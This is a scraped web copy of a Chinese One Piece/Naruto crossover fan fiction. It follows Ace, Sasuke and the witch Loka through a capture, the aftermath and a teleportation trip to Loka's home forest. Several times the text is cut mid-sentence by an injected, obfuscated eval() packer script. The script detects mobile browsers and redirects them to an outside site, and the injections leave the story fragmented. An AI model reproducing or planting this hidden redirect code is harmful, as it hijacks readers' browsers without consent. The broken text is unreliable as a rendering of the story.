佐助那时满头大汗,没听出哥哥话里的言外之意,便听从哥哥的话向后跑去——果然有一部分海军被他吸引了注意力,跟着他追进了树林里。他用连着钢丝的苦无干掉了几个,又抓住钢丝将那些钉入树干的苦无回收了——苦无尖端嵌着克制能力者的海楼石,他刚才已对赤犬用掉不少,不能再浪费。 这个时候,艾斯却也追着他进了树林,一把火点燃了周围的树木的同时一把抢走他腰间的卷轴,将佐助推进那卷轴后又及时将卷轴烧毁,身后的海军被树木燃烧的火焰和烟雾遮住了视线,没人看清佐助是怎么消失的。 众人只听到佐助大喊一声“哥哥”后便无故失踪了。 那能在眨眼间回到船上的卷轴也被艾斯及时销毁了。 “哥哥?”海军里有人疑惑地发问,“罗杰还有个小儿子?” “管他到底几个儿子,都抓来就是!” 有海军不管不顾地朝艾斯冲了过来,被他一把火烧成了焦炭:“可别冲动。他不是罗杰的儿子,和罗杰毫无关系。” 烟雾未散,只有赤犬隔着熊熊大火看出了点门道,明白佐助早已离开此地:“你那兄弟逃得倒快。” 艾斯爽朗一笑:“是我让他走的。” 已有鲁莽的海军追进了树林:“不过就是这么大点地方,给我搜!” 然而不多时里头便传来此起彼伏的惨叫——想来是掉进了林内的沼泽里。 同伴遭难,赤犬面上倒是冷静,像是并未在意:“无论如何你今天走不了了,艾斯。” “是吗?” 艾斯按了按头上的帽子,“能劳动军中一员大将亲自出来抓我,也算是我的荣幸——不过今天到底谁走不了还不一定呢,你们的同伴不就留在这儿了吗?” 赤犬知道他指的是死去多时的黑胡子。刚才他扮作平民不好接近此处,也不知道他们兄弟二人到底是怎么杀了吃下果实的蒂奇,现在想来此事甚异。 但将海贼指成海军的同伴这个说法还是激怒了赤犬:“你好像忘了,他原来可是你的部下。” “我的部下拼上性命也要投诚海军,结果在你这里轻飘飘的一句话就揭过去了,蒂奇可还尸骨未寒哪。” 话未说罢,只见上方一暗,又是岩浆从天而降,直直朝艾斯的面门砸去——艾斯的火炎不足以融化全部岩浆,却能以火浪托住岩浆强行扭转方向,那岩浆砸中了周围不少海军,哀嚎四起的同时,周围的草地也被烧成了一片焦土。 如此几番拉扯下来,赤犬已颇不耐烦。他踏过同伴的尸体到了艾斯跟前,岩浆化的右手紧握成拳向他砸去——果不其然被他闪身避开。他知道艾斯应付了这半天已有些吃力,不如就引他将剩余的气力全放出来再将他耗尽拉倒。 于是他对艾斯说道:“听说当初蒂奇是跪求了白胡子才轻易上了船,看来白胡子还未老时便已眼花,亲自招了头恶狼在麾下,多年后间接害死了自己的船员……” “闭嘴!” 艾斯果然发怒失了理智,原本或许还能再与赤犬拉扯几回合,这下却不管不顾地对赤犬使出火拳,规模几乎要将整片草地全部烧光——此时他身边幸存的海军已在赤犬的暗示下默不作声地退了开去,艾斯注意到了,却顾不上。 之后赤犬当时没有选择当场杀了他而是耐心等到他精疲力尽倒地不起再行抓捕,不过是为了事后的公开处刑罢了。 * “我那时实在不知天高地厚,也确实是在佐助被送走之后懈怠了吧。”艾斯苦笑,“当时不觉得有什么,事后被关进了推进城总算冷静下来,仔细一想才知道这下一定连累了整个白胡子海贼团,但后悔已经来不及了。” 幸而他又遇到了洛卡。 洛卡默默听完这整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061785|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件事时夜幕已经降临,她在艾斯的投喂下吃了六串蘑菇半只兔子,此刻撑得有些站不起来。她想了想,忽然抬头冲艾斯一笑:“我想看看那个萤火。” “……什么?” “萤火。”洛卡又重复一遍,“你在马林梵多都没怎么用以前的招数,那萤火是就像萤火虫一样吗?” 艾斯这才惊觉周围早已暗了下来,便朝空中张开五指,幽绿的萤光自他指尖释出,真像萤火虫一般,将洛卡团团围住了:“你可千万别碰,会烫伤你的。” 洛卡果然被那“萤火”烤出一层薄汗,面上却只笑道:“真漂亮。”看了一会,她又说道,“其实在这事上你后悔也没什么用,他们织了天罗地网要来抓你,一定不会叫你逃脱的。而且只要你是罗杰的儿子,这种事迟早会发生的嘛。” 艾斯心中有些酸涩:她又开始开解他了。 可她还没说完:“再说了,要不是你被抓进推进城,我还找不到法子逃出来呢。” 艾斯语塞。他仔细想了想,觉得她比他成熟多了:她在海军内部根本没有同伴,想要逃离海军只得另想出路。正因如此她才没有贸然行事,而是深思熟虑后才在推进城那么多人里选了个对她而言最合适的利用对象——虽然她对他说过不少谎话,但所有一切的结果证明洛卡每一个决定都是正确的。 想到这里他伸长手臂揉了揉洛卡的发心:“以后我不能再这样冲动,你也不必再撒谎了。” 本来就热,洛卡干脆躲开了他的手:“其实有一些事我一直觉得奇怪。” 艾斯知道她在岔开话题,但还是温柔地追问道:“什么事?” “蒂奇在船上这么多年,你们船上人也不少,没有任何人看出他有异心吗?”洛卡将手里吃蘑菇剩下的细枝掰过来又掰过去,“他与你相处多年,你觉得此人如何?是那种动不动就下跪、动不动就流泪祈求的人吗?” “他遭袭的时候倒是经常喊痛……”艾斯仔细回忆,“但下跪祈求……” “除了上船时哭着给白胡子阁下下跪的那一次,恐怕再没别的了吧?”洛卡将树枝一节一节地掰断,在地上画起了潦草的线条,“你被任命为二番队队长的时候,还曾问过他为何对这个位置不感兴趣——他如果真是个毫无血性的人,当初你会这么问吗?其实你应该早已察觉到,他身上不仅毫无奴性,甚至还有你想不到的野心。” 艾斯沉默,慢慢皱起了眉头:“你是想说……” 洛卡浅笑:“他真的是那种没了生计就干等着饿死、只能以近乎讨饭的方式求着人家给他一条活路的那种人吗?其实你早已察觉到有哪里不对,但是你周围的世界又让你忽略了它。” 艾斯愣了愣,突然发出一声嗤笑:“你是说这世界费了这么多心思,就是想让我无知无觉地走上死路?” 说完他自己都感到背后一寒,紧接着又忽然想到另一个问题,“那原时间线的佐助……又为什么那么轻易地就接受了别人对他的安排呢?” “或许正是因为你们遇到的是一样的问题,所以才能聚到一起吧?”洛卡话中带刺,不知是在讥讽谁,“其实早夭、残疾在你们的世界都不算什么大事,对于你们这样的人而言,最可怕的就是原本不屈的人选择了屈从、原本坚韧的人选择了逃避。你们从一开始就没有未来,一切看似挣扎看似反抗的行动都不过是向着一个早被定下的结果一路狂奔而已。” 32.032 032 “……啊。”洛卡忽然像是想起来什么似的抬了抬头,“这样说来,海军非要杀你反而给我提供了一个机会——如果不是要对你公开处刑,我上哪去找这么一个聚集了十万海军、高位将领俱在还能全程直播的绝佳舞台?” 她笑起来眼角微弯,眼中却似有寒意,“可惜……” 可惜什么,她没有再说下去。艾斯见她神色有异,小心地试探道:“我知道当日阻止你诅咒战国是我不对,但即使再来一次我也不会眼睁睁看着你用自己的寿命去诅咒他。如果你实在咽不下这口气,我找机会再杀他一次,好不好?” 这话说的,好像是在说“我再给你烤一串蘑菇好不好”似的,叫洛卡忍俊不禁:“哪有那么容易。现在他辞去元帅之位,我们这些外人就更难掌握他的行踪了。再说了,我也没想叫他死。屠岛的事原本也不是他主谋……就这样算了吧,反正以后不会再见了。” “那你……在可惜什么呢?” “你看,死了那么多人、还放走一个死刑犯,这世道似乎也没什么变化。”洛卡抬头看向一点一点暗下来的天空,“或许想要它有什么变化才是我贪心了。刚才说过,贪心是要遭天谴的——现在你和我都还活着,已经很好了。” 艾斯知道她这话或许只是随口一说,心中却还是忽地一烫。不知为何想起还在推进城时,狱卒趁洛卡外出将他抬进实验室、洛卡匆匆赶回替他清除体内的魔药时胸口感受到的暖意。 是类似的,好像又有些不同。 艾斯生怕自己的心思被她察觉,只好尴尬地站起来走了几圈:“佐助那里怎么也没个动静……” 洛卡不明白他突然之间是怎么了,但说到佐助她倒是想起另一件事:“对了艾斯,我准备在去佐助那里之前先带你们回我老家一趟。” 艾斯倒是没想到她会这么说,立刻兴奋地靠近:“你老家?就是那片森林吗?为什么?你终于要带我去看看你长大的地方了吗!” 洛卡一直不明白他为什么对“看一眼她长大的地方”如此执着:“一片森林而已,到处都是长得差不多的树,到底有什么好看?我是想着,之前我也没有独立操作过这类时空转移魔法,不如就拿我的家乡练练手,那里常有猛兽出没少有人去,就算失败了也不会造成太糟糕的后果。” 她顺便也能看一看转移一次对她而言的魔力消耗大约在一个什么程度。 艾斯对她在佐助这事上如此上心感到感激,便也说起了他的想法:“前两天我和老爹提了那座岛的事——就是你和你的族人住过的那座岛。现在这岛上魔力已然消散,应该不算难找。” 洛卡有些怔愣:“你们找它干什么?” “你一直没怎么提过这座岛,我想或许是因为它已成了荒岛,你觉得即使回去也没了意义。所以我和老爹提议,不如将它归进白胡子海贼团麾下,让其成为我们保护的领土之一。有了白胡子的保护,不久就会有人登岛定居的。” 如今艾斯获救,白胡子全团几乎无伤退场,比之以往威望确实更甚了。 洛卡微愣。 艾斯温和地笑了笑:“今天早上以藏和比斯塔已经带人出发了。等那里人烟旺了,我再带你去看。” 还在监狱时艾斯的确曾向她提过这事,没想到他牢牢记到现在。洛卡看了他半晌,说话时听到自己的声音有些发涩:“……谢谢你。” 那座岛上曾经死过那么多人,岛上的遗骨和废墟这么多年都没人处理,怎么能住人?以藏和比斯塔恐怕就是带人去收拾当年的残局的。 艾斯知道她很难面对岛民的遗骨,所以等到以藏一行出发了才同她说起;又因为她刚到船上不久,平时对社交又不太热衷,到现在对船上的人还不怎么熟悉,所以艾斯自己没有跟着去,还是选择留下来陪着她。 是因童年经历不好的缘故吗?艾斯长大后竟然能如此细心。 也就是在这个时候,二人的身形忽然同时一晃。艾斯似有所觉,伸手揽住险些摔倒的洛卡,二人又从这片草地上消失了。 * ——“你是说,要先去一趟你的家乡?” 佐助没想到这事忽然有了进展,“还要决定同行人选?” 洛卡抱着眼前的茶杯打了个哈欠:“为了测试单次转移最多能转移几人以及魔力消耗的程度、转移所需时长,还是先进行一场实验比较好——所以你要带谁去?” 她是在一周一次的例会上说的这话,话音刚落便有一大批人争先恐后地涌向佐助自荐试图让佐助带上他们,险些把身形瘦削的佐助淹没在餐厅的角落里。 佐助在密密匝匝的人墙中间找出一条缝来试图找哥哥求助的当口,洛卡适时补了一句:“人数有限过时不候!今天起一周之内请找佐助登记姓名,排名靠前的有几率获得围绕佐助的VIP座位唷。” 终于连佐助好不容易挤出来的那点缝隙都被挤没了。 早在十年前就获得内定名额的艾斯并没有跟着挤进人群,而是拿着一盒小蛋糕走到正托着脑袋幸灾乐祸地看着在人潮中间挣扎不能的佐助、一时没有注意到他的洛卡身边:“洛卡,你多吃点。” 洛卡被他吓了一跳,接过蛋糕道了声谢,又转过头去看在人群里头左窜右跳的佐助,“真有活力啊,跟海贼待在一块儿确实有好处。” “可你还是没什么好转啊洛卡?”艾斯忽然问了这么一句,“养病也有一阵子了,心脏还会难受吗?” “嗯?早就好了啊?”洛卡没注意到他话中不同寻常的严肃,“你小看女巫了吧艾斯,只要魔杖还在,我的心脏就与常人无异……怎么突然问这个?” “那怎么还是风一吹就倒,上回在草地里甚至站不稳当。” 洛卡打了个哈欠:“那是因为那无人管理的草地确实很难走路啊。” “那这青天白日的你怎么还打起哈欠来了?”艾斯挠头,“你这熬夜的毛病我得想想办法。” 洛卡哈哈一笑,并未将他的话放在心上,“你想什么办法?从今天开始变成魔法少男陪我一块儿调制魔药减轻工作压力吗?” 直到例会结束佐助那头都没争出个结果,洛卡在旁又看了一会儿便腻了,慢悠悠飘出门外,一路向炼药房的方向而去:“下次想个什么好主意来整佐助呢……” 艾斯跟在她身后,眼看她飞进炼药房后关紧了门窗。他看了身后还被船员们堵在墙角的佐助一眼,虽然佐助此刻被围了个水泄不通连个影子都没看见,但艾斯想着如果只是名额分配应当也闹不出什么大事,便转身向炼药房走去,准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065550|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备给洛卡打打下手。 刚跨出门外,艾斯忽听炼药房内传出一声巨响,在场所有人齐齐一愣,眼看着炼药房内的洛卡被爆风掀出窗外,只来得及发出一声短促的惊叫就落入了海里。 艾斯下意识地想跳海去救,身后趁此机会突出重围的佐助先他一步跳了下去,从水里捞出了湿漉漉的洛卡。 洛卡吐出几口海水之后恢复了意识,看着眼前的众人懵了许久才缓过来:“……抱歉,精神不太集中放错药材了。” 说完大概是自己都觉得好笑,于是真的笑出了声,“怎么从上一个单位离职了还是这样,看来光辞职是不行的,还得早睡早起勤加锻炼。” 换身衣服一觉睡醒已是晚霞漫天的黄昏,洛卡醒来后坐在床上缓了一阵,忽然听到门外传来一阵敲门声:“洛卡,你在吗?” 洛卡顶着一头乱毛披上外套趿着拖鞋过去开了门:“有什么事吗艾斯?” 艾斯将攥在手里许久的一卷羊皮纸往她跟前一递:“我想着你也该醒了,所以把计划表拿来给你看看。” 洛卡的瞌睡还没全醒,傻呵呵地笑了笑:“什么计划?你的魔法少男修炼计划吗?” 艾斯神色一肃,“是你的体能培训计划,你不是说要早睡早起勤加锻炼吗?”想了想又问,“不过话又说回来,难道我真有成为男巫的潜质?” 洛卡愣愣地看着那厚厚一摞羊皮纸:“……艾斯你听我说我那句早睡早起的话其实是开玩笑的……” “那魔法少男那句话也是开玩笑的?”艾斯倒是没介意,笑得一脸阳光,“接下来我们就该着手准备转移实验的事,那大概率会让你产生巨大的魔力消耗,所以我们决定轮流盯你的体能训练,让你的身体素质尽快恢复到最佳状态。” “你误会了吧艾斯我的身体素质自从八岁上岗以来就没有过什么最佳状态啦。”洛卡握着拿羊皮纸怔了半天,“等等,早上七点整起床?” 艾斯点了点头:“晚上九点整睡觉。” “……我今早结束工作好像就在七点左右。”洛卡痛苦地回忆了一下,混沌的脑子清晰了一瞬,忽然痛心疾首地喊了起来,“艾斯你怎么从只会投喂美食的天使变成逼人早起的恶魔了,是不是佐助那小子又告我的黑状!” 艾斯哭笑不得:“他最近忙着训练,哪来的时间告你的黑状?”又认真地看着她的眼睛说道,“以后你调配魔药的时间就控制在下午一点半和五点半之间,五点半一到就去吃饭,晚上不许加班。” 洛卡欲哭无泪:“我只是负责把大家运送到目的地,就算站不稳也没什么关系吧……再说了怎么还有人禁止加班的,我只有晚上有灵感那怎么办?” “洛卡。”艾斯摸了摸她的脑袋,“你最近因为调配魔药作息不稳定,很多时候脸色都不好,只有和佐助斗嘴吵架的时候倒是不知道从哪涌出来一把子力气,脑子还突然就变灵光了。” 说到这里艾斯笑了一声,“所以我想,要是你的体能也跟上的话,对上佐助胜算不是更大一些吗?” 洛卡很不服气:“我的脑子本来就灵光!”说完又补了一句,“再说了就现在佐助他也斗不过我啊!就比如这种时候他都没跟着你过来对我落井下石不就是他还没从名额分配的闹剧里摆脱出来的铁证吗!” 33.033 033 佐助的确深陷名额分配的漩涡之中,在经历过洗澡有人蹲守在浴缸里、吃饭有人潜伏在饭桌下的恐怖体验后佐助很快意识到自己现在不管走到哪都有人跟着,因此暂时抽不出身来去监督洛卡的体能训练;但第二天一早她的体能训练还是按时开始了。 ——“洛卡。”艾斯看了看手里的计时器,“八百米的距离你跑了五分十三秒。” 好不容易跑完圈的洛卡弯着腰喘了半天才缓过来:“我以前……在海军内部的时候……都没一口气跑下来过这么多圈……” 艾斯转头望了望背后的训练场:“也就两圈。” 不甘心被他拆台的洛卡伸手虚弱地拍了他一掌:“以前都是我监督别人哪有别人监督我的……” 说到这个艾斯倒是来了点兴趣,摘下挂在腰间的水壶递了过去:“你当年就那么大点,能监督些什么?” 洛卡抢过艾斯手里的水壶咕嘟咕嘟灌了几大口:“盯他们的身形、体能和耐力,选择适合实验的对象,这些被选中的海军隔天就会因为各种犯过或没犯过的罪行被剥夺职级扔进牢里、送到我的跟前。” 后来她长大了些,上级将她送进了推进城,她的实验对象便从海军转为海贼,薪资待遇也随之降低了。 “那真的很厉害啊!”艾斯眼睛都亮了,“小小年纪就有那么好的眼力!” 洛卡被他夸得浑身一抖:“也不是什么眼力不眼力的……反正我不怕他们对我起杀心,选的全是当年参与过屠魔令的海军。所以后来才被送去推进城的——毕竟一直纵容我公报私仇也不是什么办法,折在我手里的海军实在太多了,光医疗就是笔不小的费用。” 她把空水壶还给艾斯,站起来时捶了捶自己的腰,“哎哟我今天指定要筋肉痛——体能训练结束了吧?那我先回……” “还没结束。”艾斯伸手扳住她的肩膀,“今天中午我们就在这吃,吃完饭徒步三公里,晚上我带你去骑单车。” “这徒步也就算了,我有扫帚骑什么单车……” “到时候转移实验魔力消耗多了站都站不住,你不怕被佐助嘲笑?” “……你什么时候学会激将法了?骑就骑!” * 晚餐后洛卡在炼药房等了一会儿,等来了拎着两辆单车顶着一头不规则炸毛出现在炼药房门口的佐助。 他的头发大概是被揉乱的,结合他挎着两辆单车的姿势看上去颇有几分狼狈。 洛卡看着他犹疑了一会儿:“怎么你是准备去逃难吗?” 佐助警觉地环顾周围一圈:“我哥装成我的样子躲在宿舍里吸引他们的注意力,但他大概撑不了多久,我们快走。” 洛卡看着强作镇定的佐助觉得有些好笑,从水晶球里召出艾斯送她的那把扫帚:“总之先逃下船吧?” 两个人带着两辆自行车飞到附近的海滩上才停下,佐助谨记艾斯嘱咐过的体能训练任务,将自行车递给洛卡一辆:“训练现在开始。” 洛卡带着他飞了这一会儿已经有些累了,闻言指了指脚下的沙滩:“这怎么骑啊?况且你不惜把你哥留在那个水深火热群狼环伺的地方就是为了陪我训练?你有这么好心?” 佐助先是对她这个把白团形容成群狼环伺的说法有些不满,但仔细一想近日来自己的遭遇,至少这个阶段称他们为群狼似乎也没什么错:“那你在这里稍等。” 说完转身就走了。 洛卡不知道他葫芦里卖的什么药,倒也没力气去拦他,她的腰背和四肢还在隐隐作痛——艾斯在体能训练一项上也太严格了,要不然明天把他弄晕算了? 她这头还没盘算出一个合适的迷昏艾斯的方法,那头佐助已经抱着一大堆小石子回来了。只见他将那些石子均匀地嵌进沙子里,在洛卡眼前铺出一条狭窄的鹅卵石路:“现在可以骑了。” 洛卡目瞪口呆:“你忙活这半天就为了这个?你哥的话你是真听啊!” 佐助皱眉:“我哥说你以前的工作太累,导致你一有空就只想躲懒。” 现在看来果然如此。 洛卡同佐助大眼瞪小眼对峙半天,还是认命地跨上自行车:“你找我有事吧?有话就直说,别到时候我俩一言不合动起了手再把你哥招来。” 佐助骑着自行车在沙滩上匀速前行,稳得如同在地面上一般:“我想到要如何引出宇智波带土了。” 宇智波带土? 洛卡在记忆里搜寻了一下:“噢,那个每一步都走在我意料之外的奇人,差点把他忘了。所以要怎么引他出来?” 她骑车骑得歪歪扭扭,落后佐助好几个身位,佐助不得不停下来等她:“此人行踪诡谲,想要把他引出来只能从他幼时的朋友身上寻找突破口。他以前有两个同伴,其中野原琳已死,还剩一位旗木卡卡西。” 洛卡艰难地跟上他,脚踩着踏板蹬了没几下,恍然大悟:“你是说你要先抓旗木卡卡西,以他为质逼带土出现?” 她这一悟差点摔了,忙不迭扶住车把手停了下来,“哦,所以来找我帮你开门、回到那个世界去找旗木卡卡西是吧?” 佐助沉默地点了点头。 “理论上他可是你的老师。”洛卡笑道,“你见到他不会有什么特殊的感觉吗?” “我的雷遁是在萨博的建议下开发出来的。”佐助看了她一会儿,忽然说起了一些看似和眼下无关的事,“他说这世上自然元素种类繁杂,肉眼可见的就有风火雷电、水土金木。当时我的火遁陷入瓶颈,萨博就建议说可以往别的方向试试。” “所以你开发了千云渡?”洛卡点头,“名字还挺好听的。” “后来我跟着哥哥出海,互相练成一身体术。有一天他得到一颗果实,同时得到一把长刀。因为我会火遁,不需要烧烧果实,他就把那长刀给了我。” 洛卡看了一眼他背后的那把裹在漆黑刀鞘之中的长刀,点了点头:“该是你的东西,就算换了个形式、换了个模样,也都还是会回到你身边的。” “所以,我今天的一切都和之前的那个世界没有关系。”佐助的神情十分平静,“旗木卡卡西也不曾是我的老师。无论如何他和宇智波 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070251|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灭族一事无关,我必须利用他,但也不会伤他性命。” 洛卡挑眉:“你来找我,是希望我把他掳走之后困在此处、之后再把他全须全尾地送回去?” “不错,这样最为稳妥。” “那可巧了,我正好会定身术。”洛卡停好自行车,连着退开三步,“最多我把这位旗木卡卡西关在船室里也就是了。” “我听说过,你在推进城对我哥哥用过此术。”佐助眼中稍稍起了些波澜,“他当时动不了、挣不开,却能说话,也能思考。事后你解开了那术,他也没感觉到任何不适。” “是啊。”洛卡轻巧地应道,“不过,旗木卡卡西毕竟是忍者。你们忍者的查克拉遍布全身上下,说不定他能挣开呢。” 佐助正想说话,却又听她说道,“但是我还没和忍者交过手呢,正好让我试试。” “多谢。” “不客气。”洛卡眉眼一弯,“那,把宇智波带土引出来之后,你准备去对付哪一方?” 佐助不解:“什么意思?” “我是说,鼬、团藏和带土,你准备去对付哪个?”洛卡直直看向他的眼睛,“你该不会觉得你能同时对付两三个吧?” 佐助又不说话了。很显然接下来的内容他并不准备和洛卡分享。 “你为什么会把囚禁卡卡西的任务交给我呢?”洛卡分析道,“因为我是你哥的朋友,你得靠我打开通往那个世界的门,却不希望我因为你的事出任何问题,干脆把我和卡卡西一块儿丢在这,对吧?” 被戳穿的佐助倒也不生气:“其实……这已经很麻烦你了。” “你们哥俩脾气真像啊。”洛卡能听出他这句话是出自真心,话里却还是带着刺,“不让我去,那白团那些人呢?或者说,假设你哥哥会遇到那里的强敌,你还准备让你哥哥与你同去吗?” 见佐助不语,洛卡及时补了一句,“该不会也是给艾斯准备了一个轻松的任务,让他也被任务拖住好叫你一个人去杀掉所有仇人吧?那仇人里还包括一个战斗经验比你丰富许多的宇智波鼬呢。” 气氛僵住了。几分钟后佐助终于找回了自己的声音:“……你该继续锻炼了,刚才你只骑出了十来米。” 被戳到痛处的洛卡愤而大吼:“别想用这种事情糊弄过去!话说你求人办事的时候难道不知道顺便给人家一点好处、睁一只眼闭一只眼帮着我一块把这次锻炼混过去吗!这可是咱们社会人往来的潜规则!” 佐助的表情冷得像杀过好几年的鱼的菜市场屠夫一般:“不行,这是哥哥给的任务。” 洛卡急得原地转了好几圈:“你哥是你人生中的bug吗?一碰到你哥你就会变成人机的那种?” 又骑上车歪歪扭扭地向前骑了数米,洛卡自暴自弃地扔下自行车:“佐助,我有话跟你说。” 佐助将她的自行车扶起,摆出一副竖耳静听的架势。 洛卡自信十足地丢出一句她认为足以让佐助把这劳什子体能训练抛到脑后的重量级问话:“我说,你要不就把宇智波带土留给我来对付吧?” 34.034 034 实验的日子很快就到了。 这天早上洛卡终于收到了佐助整理好的名单,看着上面寥寥几个人名挑了挑眉:“就这几个人?” “毕竟是第一次试验,要尽量给你减轻负担。”佐助这么说着,紧绷了多日的神色终于略见舒缓:这是他用来安抚所有本次没在名单上的同伴的理由,最终所有人都被他说服了,这实在让他松了口气。 名单上只有白胡子、艾斯、马尔科,加上佐助和洛卡也才五人。 “哼,看不起谁呢。”洛卡不满地嘟囔,但到底也没反对,“术式下午在岛上的山洞里开始。虽然说这一带都在白团的管辖范围内,但术式会引起强光,还是避开人群比较稳妥。” “好,我去通知船长。”佐助略一犹豫,还是将早就准备好的问题问了出来,“不过,频繁动用禁术不会影响你的健康吗?” “不会啦。这术和之前马林梵多上空的那个大阵不同,虽然不是我设的,却是为了召唤我而生的独属于我的术。只要使用者是我,在前人的基础上修改一下具体时刻和经纬度也不会出什么大事。” 这近似作弊、遮遮掩掩的做事方法不太符合白团素来的作风,但目前为止整个海贼团上下没有任何人对洛卡的行事逻辑提出任何异议,这让洛卡有点不太习惯,“实验如果顺利,我想在那里多待两天可以吗?” 佐助不明白在只有她能掌控全局的情况下为什么她想多待两天还得征求别人的同意,有些疑惑地回答:“当然。”很快又想通了,“你是想见你的家人?” 洛卡没有回答这个问题:“行啦,我先去山洞那里等你们。你们记得按时到哈。” 说完打开窗户骑上扫帚,慢悠悠地飞出了窗外,“啊对了,记得带一件大衣或者棉袄,那边很可能是冬天哦。” * 强光过后,众人见到了异国的森林。 冬季的森林白得刺目,与艾斯上次见到的光景大不相同。油绿的针叶林几乎全被冰雪覆盖,树梢的积雪折射出几束极浅的日光。冬日里一片死寂的河流之上结了一层灰白的厚冰,林间只余尖锐的风声不住呼啸。 洛卡回头看了一眼她的这几个实验对象,其中只有佐助一人真的听了她的话穿了件毛皮大衣过来,其他人穿着件春季外套就出门了,艾斯甚至还是没穿上衣:“洛卡,看起来咱们的实验很成功啊!” 这几人自己不觉得冷,倒是看得一旁的洛卡牙关战战。她从水晶球里拿出一件羽绒服披在身上:“是啊,挺成功的。”语气平淡得像是在说午餐后那颗苹果也削得挺成功一般,“森林边缘有一处集市,那里有个旅馆,我们去那住几天吧。” “不去你和你婆婆的小屋吗?”艾斯兴奋地跟上她,“我记得那屋子还挺大的……” “那里没有过冬物资。”洛卡随口扯了句谎,“现在是冬天,那旅馆大概没有什么旅客,旅馆老板珍藏的熏肉和葡萄酒大约也只能便宜了我们几个。” 白胡子大乐:“不错!那就听这小丫头的吧!” 艾斯总觉得他二人这一唱一和间似有什么玄机,第一反应竟是洛卡到了船上之后不是调制魔药就是倒头睡觉,也就最后那几天被他拉出来到操练场上遛了遛,她和老爹是什么时候混这么熟的? 疑惑间一行人已经到了那旅馆门前,洛卡上前敲了敲门,叽里咕噜说了一串他听不懂的语言。 他转头看了看佐助,佐助也对他摇了摇头,很显然佐助也没听懂。 艾斯只好转回眼来抬头一瞧,这座旅馆连个招牌也没有,粗看就是一栋灰扑扑的居民楼。洛卡敲门敲了半晌,居民楼的大门才堪堪开了条缝,门内同样传来一阵他听不懂的语言,听声音是一个中年男人。 没多久,那中年人打开大门,将他们迎了进去。 奇怪的是,对于白胡子那异于常人的身高,店主没有任何疑惑,更没有任何意见。 果然如洛卡所料,那中年店主其实很是热情,一边将地窖中的美酒搬出来一边用听不懂的语言请他们坐下,将酒瓶搬上吧台时顺手拿起遥控器,打开了安装在柜子上的电视。 电视台正在播放篮球赛。洛卡对这些不感兴趣,随手从衣兜里掏了一把碎金付账,将金子递给店主的时候洛卡盯着他的眼睛一字一顿地用俄语强调了一遍:“我们只是来住店。” 那中年店主看到那金子愣了一下,还是点了点头收下了。 在货币不通的情况下,黄金就是最好的货币。 白胡子身材过于高大,基本没有客房可以容纳。店主干脆把他安排在了足有八米高的大堂内,又忙不迭地上楼去拿被褥。 这一去就再没回来。等到全场唯二对球赛有兴趣的白胡子和马尔科嚼着叫不出名字的糖把那场球赛都看完了,也不见店主下楼。 艾斯正准备上楼找找的当口,二楼却忽然传来一阵清脆的婴儿哭声。不久店主抱着一个用一条厚毛毯裹着的婴儿急匆匆地跑下楼:“请稍等,我现在要去森林里一趟,马上回来为你们做晚餐。” 他这句话是对洛卡说的,很显然这里只有洛卡与他语言相通。洛卡对着他点了点头:“是突然出现在房子里的婴儿吗?你要去交给森林里的女巫?” 店主没想到她也知道这个传说,但眼下也没时间与她详谈,对她点了点头便赶着出门去了。 洛卡拿起魔杖走到白胡子跟前:“店主是个普通人,贸然闯进森林恐怕要迷路,我去送他一趟。” 白胡子自然不会反对。于是洛卡就这么骑着扫帚消失在了门外。 这里是洛卡的老家,艾斯倒不担心洛卡出门会失去方向,更无需担心洛卡遇到野兽之流无法对付,只是洛卡到了此地之后举止便很奇怪,像是心里挂着什么事似的。他犹豫了一下,还是和老爹打了声招呼,跟在洛卡身后走进了雪地里。 屋外下起了雪,艾斯的身影很快消失在了风雪之中。 佐助看在眼里,并未出声,也罕见地没跟着哥哥一起出门,只是捏着手中装着饮料的杯子,不知在想些什么。 那中年店主显然阅历不浅,一眼看出佐助还未成年,给在场所有人都倒了酒,只给他上了杯热可可。 屋内静了一会儿,佐助忽然听到白胡子问道:“这样偏僻的地方竟会出现婴儿,也不知是哪里来的孩子。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 